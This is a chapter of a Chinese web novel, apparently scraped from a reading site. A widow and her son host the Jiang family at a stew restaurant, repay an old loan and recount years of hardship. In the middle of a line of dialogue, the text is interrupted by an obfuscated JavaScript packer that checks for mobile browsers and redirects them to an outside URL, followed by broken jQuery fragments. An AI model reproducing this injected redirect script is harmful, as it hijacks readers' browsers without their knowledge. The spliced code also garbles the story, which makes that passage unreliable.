兰敏敏决定这辈子再也不会原谅姜卫国了。


    20年过年前，姜卫国坦诚自己攒了五千私房钱，拉着兰敏敏去金店给她买个大金链子。


    比姜兰梅给她妈买那个还粗！


    兰敏敏每次有饭局都带着这条金项链，那一顿显摆呀！


    谁不知道这就是姜卫国爱的证明！


    结果到头来，爱的证明是欺骗的明证！


    兰敏敏伤心极了，一个字都不想说。


    姜卫国不明白自己都一五一十的坦白了，兰敏敏怎么反倒脸更黑了。


    他急忙补充：“好在我识人的眼光还是不错的！老四是我好兄弟！小杨也是个好人！昨天她打电话就是要还钱！你看虽然晚了几年，可这笔钱还是你的！晚上咱们一家三口一起去！小杨还的钱我碰都不碰一下！就你拿着！”


    “哼！”兰敏敏只回应了一个字。


    姜卫国想不明白，最爱钱的兰敏敏怎么对钱都嗤之以鼻了？


    姜小米共青了妈妈：“爸！那你也不能骗我妈呀！作为补偿，你应该主动让妈妈爸这钱都用在她自己身上，这才叫给我妈了！”


    姜卫国明白了。


    钱到兰敏敏手上，她也不会乱花，最后还是花到了家里。


    这样自己这个道歉就没有弥补错误。


    他当即点头：“小米说的对！这个钱就全给你！你爱买什么买什么，都给你自己买！衣服呀，首饰呀，爱买什么买什么！”


    兰敏敏还是冷淡的看着姜卫国。


    “晚上去哪儿吃？”兰敏敏问。


    “铁锅炖！这个你也爱吃！”姜卫国讨好道。


    晚上六点，粉底液抹的煞白的兰敏敏在姜卫国和姜小米的护卫下进了铁锅炖的门。


    里面包间里，周世杰的媳妇杨小青和儿子周博已经到了。


    杨小青一眼就认出了兰敏敏，激动地上前相认：“嫂子！”


    兰敏敏看杨小青比五年前胖乎了，脸圆圆的，一笑眼睛边三四道深深的鱼尾纹。


    喜眉笑眼的，看着比从前顺眼。


    兰敏敏也拉着杨小青拉家常。


    周博把菜单放到兰敏敏眼前：“大娘，您点菜吧！”


    兰敏敏不好意思的推让：“哎呀！你们点吧！我吃啥都行！”


    “嫂子你给点，我们今儿个就是专程请你的！你点啥我们吃啥！”


    兰敏敏看杨小青说的真切，拿起菜单点了条三斤的鮰鱼：“这鮰鱼没有细刺，炖着吃最好了！”


    服务员一看兰敏敏就是明白人：“是呀！咱们这鮰鱼是卖的最好的。”


    周博点头：“那就鮰鱼！”


    兰敏敏又点了宽粉，豆腐，海带，油豆角，三个白面锅贴和三个玉米面锅贴。


    周博怕兰敏敏给他们省钱，又加了一份排骨和服务员推荐的东北榛蘑。


    姜卫国和兰敏敏拦着说太多了。


    可周博坚持点了：“哎呀，大伯大娘，我们离家好几年了，也想多吃点儿！”


    姜卫国一听这话也不阻拦了。


    点好了菜，兰敏敏和杨小青又聊了起来。


    姜小米自动找了个座位坐下，看着服务员把处理过的鱼和粉条豆腐什么的倒进锅里，锅边顺着贴了白白黄黄六个贴饼子，听着杨小青她们聊天。


    周世杰没的那年，杨小青四十二岁。


    之前因为照顾孩子，加上自己也没个技能，一直在家没工作。


    一夜之间，丈夫没了，儿子转眼高三高考。


    没有几个存款，房子也没的住的杨小青在儿子学校旁边租了个小破房子。


    一年租金七千，加上儿子高三的资料费，两个人的生活费，日常开销也不小。


    要不是姜卫国给的三万五，真是撑不下去。


    一年以后，周博考上了山西的大学。


    杨小青退了房子，跟着周博去了山西。


    四十多岁的年纪，学什么都太晚，倒是做个保姆给人收拾家做饭照顾老人正当年。


    杨小青就从保姆干起，每月有点儿收入，能负担孩子的学费生活费。


    当保姆又累又受气，攒了点儿钱的杨小青转而学了月嫂。


    当月嫂收入更高，也不太受气。


    她靠着一双手把自己和儿子养活起来了。


    周博也吃苦，大学期间勤工俭学，在食堂收拾过卫生，出去当过家教，生活学习不用人操心。


    母子两人一起挣钱，日子反倒比在呼市的时候好！


    今年周博毕业了，应聘到山西的一家国企工作。


    杨小青的任务圆满完成了。


    这几年也攒了点儿钱，母子俩在周博工作的单位附近首付买了个小房子，手里剩下点儿钱，第一个想到的就是回来一趟，把姜卫国的恩情还了。


    杨小青说起这几年的际遇，眼泪不住的掉。


    兰敏敏拉着杨小青的手，跟她一起掉泪：“弟妹你真是太难了！”


    杨小青摸了眼泪：“嫂子，都过去了！要不是你们帮我，我现在都不知道是个什么样！幸亏有你们给的那笔钱，我们才敢坐上火车去山西，人生地不熟的，能站住脚！”


    “人不就是互相帮嘛！你就是太软了！当年就该告他们！不是他们撺掇的喝酒，老四年纪轻轻的，哪能没了！”兰敏敏替杨小青意难平。


    杨小青摇摇头：“告是能告，可他是个啥人我能不知道？一说喝酒屁股就坐不住了！没人找他，他得出去找人家喝！他就缺不了这一口酒！他那么个喝法，迟早的事儿！再说了，他那至亲的姐妹兄弟都不说人死了，帮帮他儿子，指望外人把钱掏出来？更不可能！”


    杨小青说着，又感谢姜卫国：“也就姜大哥你们两口子！这人呀！遇上难处了，才能看出来谁是真好人！我和周博，这辈子都忘不了你们的大恩大德！来周博！给姜伯伯和兰大娘磕头！”


    杨小青拉着一米七九的周博。


    周博还真站起来要跪地磕头。


    姜卫国赶紧拦住他：“侄儿快坐下！咱们不兴这个！你们日子过好了就行了！”


    一番拉扯，姜卫国到底没让周博跪下。


    他想着，甭管穷富，人家这么大个小伙子，跪自己没道理！


    服务员强忍着八卦之心来这个又哭又笑又跪的包间看锅。


    锅里的鮰鱼已经咕嘟咕嘟看不出颜色了。


    服务员揭开锅盖拿铲子铲了几下：“葱香菜都吃吧？”


    见几人没有异议，一小碟葱和香菜被倒进去了。


    “能吃了。”服务员说完出去了。


    姜小米在揭盖子的时候就闻见了浓郁的香气！


    鱼的鲜混合着豆腐，豆角，蘑菇的香味。


    一股复合的鲜香钻进鼻孔，让人口水直流。


    “吃吧吃吧！”杨小青招呼兰敏敏和姜小米。


    周博主动给大家服务。


    先给兰敏敏舀了一块鱼，又给姜卫国舀了，接下来是姜小米，然后是自己妈，最后是自己。


    兰敏敏尝了一口鱼说周博：“周博别忙了，我们吃啥自己舀就行了。”


    围着热乎乎的铁锅，大家吃的热火朝天。


    没有细刺的鮰鱼肉在锅里沾满了汤汁的咸鲜，蒜瓣一样的肉块入口鲜甜有味。


    一大块鱼肉几口就进了姜小米的肚子。


    炖的软烂的宽粉吸饱了汤汁，早从白色变成了深褐色。


    咬一口软烂有味，又不失劲道。


    久煮的豆腐没有失去自己的豆香，更增添了咸香，入口绵软，让人食欲大增。


    姜小米从来没吃过东北榛蘑。


    这榛蘑味道独特，香气浓郁，一口一个，让人欲罢不能。


    豆角已经炖的软烂，里面的豆子和外面的豆荚分开了，一口豆角入口，各种食材的滋味就充满了口腔，让人直呼过瘾！


    一条鱼三下两下被吃完了。


    姜小米边在心里叹息鱼太香了，边去锅里舀排骨。


    几乎脱骨的排骨被小心翼翼夹上来。


    轻轻一咬，骨头就自己掉了。


    贴骨肉混合着汤汁，实在是美味！


    姜卫国给姜小米铲了一个玉米面贴饼子：“小米，尝尝这个！”


    姜小米咬了一口贴饼子。


    原本稀软的贴饼子在锅边受热，贴着锅边的一面焦脆，另一面虚软，玉米面独特的甜香萦绕在口齿。


    和炖菜接触的一边浸满了菜汤，咬一口就让人满足！


    一个贴饼子进肚，姜小米简单夹了两条海带丝结束这一顿美餐。


    外人当前，她也不能摸自己圆滚滚的肚子，只有她自己知道，她已经撑得喝口水都喝不进去了！


    杨小青看小米停了筷子，热情的招呼她再吃。


    姜小米摆手：“阿姨，真的吃饱了，吃不进去了！”


    “哈哈哈，”杨小青笑的畅快，“小时候小米就爱吃啊！长大了还是这么可爱。小时候那一下饭馆，一碗米饭，半盘子鱼香肉丝，还能喝瓶可乐溜缝！那会儿就爱看小米吃饭。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289073|190719||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    兰敏敏呵呵了两声。


    姜小米有些尴尬，小孩能吃是个景儿，这么大了还能吃就有点儿丢人了……


    姜卫国到不觉得丢人，他从锅里扒拉出来一根榛蘑：“诶，小米还吃不了？”


    他看闺女一直夹这个榛蘑就知道她爱吃。


    姜小米摆手：“爸你吃了吧，我饱了！”


    姜卫国一口吃了，嗯，这蘑菇味儿好！


    杨小青也满足的放下筷子的时候，眼睛看到了桌角的酒：“哎呀！”


    她惊声喊：“这酒忘了开了！”


    兰敏敏拦着她拆酒盒的手：“正好别拆了！老姜这几年不喝了！岁数大了，烟酒都戒了，咱们这上了岁数那都得保养自己了！”


    杨小青尴尬道：“真戒了？”


    姜卫国附和兰敏敏：“戒了！本来我也不爱喝，年轻的时候就那么个风气，不抽不喝连师傅都不待见你，也是硬着头皮喝点儿。”


    杨小青一颗心踏实了，总算不是自己怠慢了客人。


    “姜大哥这样的人好啊！听劝，也不嗜酒。他周世杰要也这样，不至于年纪轻轻的就没了。算算活到现在，也到了领退休金的时候了。”


    几个老人想起周世杰，都沉默了。


    姜卫国问起来：“那时候乱纷纷的，我也没敢问你，怎么你们连个自己的房子都没有？”


    杨小青叹了口气：“他比你们岁数小，参加工作的时候，没赶上单位分房，就赶上下岗了。我们刚结婚是跟着周博他奶奶住，说的是他奶奶的房将来给我们。后来世杰他二姐急用钱，他奶奶那房子是个学区房，能卖上价钱，就给卖了，说好了他们把老太太接去，他们的空房子借我们住，将来还了钱我们再买。谁知道世杰走前头了，这些也就不算数了。”


    “你这也太软了！”兰敏敏埋怨杨小青，“你得跟他们争呀！他们黑不提白不提就过去了？凭什么呀！你不为你自己，那也得为孩子呀！”


    杨小青摇头：“我个村里出来的，说不过他们，而且当时都是口头说好的，我手里也没个证据，没办法。倒也无所谓了，我们不靠他们，这不也过来了。”


    兰敏敏替杨小青叹息。


    杨小青看一桌人都吃好了，从皮包里拿出三个厚厚的信封交到兰敏敏手里：“嫂子，这是当年姜大哥借我的钱，我们现在缓过来了，这钱……终于能还了！”


    兰敏敏看着三个信封，说吧是自己家的钱，可一想到杨小青不知道多苦才攒下这些钱，感觉拿着烫手。


    “周博刚毕业，正是用钱的时候，我们不着急，你不宽裕先用着！”


    周博笑着向兰敏敏说：“大娘，我现在工作了，挺稳定的，工资也不少，您就拿着吧！”


    兰敏敏听孩子都这么说了，也只能接过来。


    捏了捏：“这多着呢吧！”


    杨小青轻松一笑：“嫂子不愧是管家人呀！是多是少捏一捏就有数了！这里是五万，那么多钱我们借了五年，那不得给利息啊！”


    兰敏敏变了脸色：“这哪能！该多少就多少！又不是外人！不行不行，要不就三万五，要不你就别还了！我们可不多要！”


    杨小青吓一跳：“别呀嫂子！我们专门来一趟就是干这个的！”


    兰敏敏不愿意，把钱推到杨小青怀里。


    杨小青直接拿起兰敏敏的手提包，把钱塞进去了：“嫂子，别撕吧了！拿着吧！”


    姜小米看着他们你来我往，感觉好尴尬……


    姜卫国放下茶杯开口了：“你们这心意我们领了，这样，我们留四万，剩一万你们拿回去！咱们这又不是不来往了，多啊少啊的，今后有的是日子算！”


    杨小青听了这话也冷静下来：“哎，姜大哥，我听你的！”


    兰敏敏于是数了一万塞进一个信封还给杨小青：“你这将来孩子娶媳妇啥的，可要用钱呢！我们哪里忍心要你的钱！”


    杨小青无依无靠过了这么些年，听见这话眼里直接下来了：“我知道，你们都是好人。”


    临走的时候，姜卫国提点周博：“你奶奶还活着呢吧？你该去看看，念叨念叨当年的事儿，人活一口气，不能不清不楚让欺负了！”


    周博明白姜卫国的意思。


    可他还是摇头：“不就是钱吗？我自己也能挣回来，他们……我是一眼也不想看见了！”


    姜卫国平静的接受了：“行！孩子，有志气！”


    看着周世杰的儿子如今长大成人了，姜卫国也算是心里舒坦了。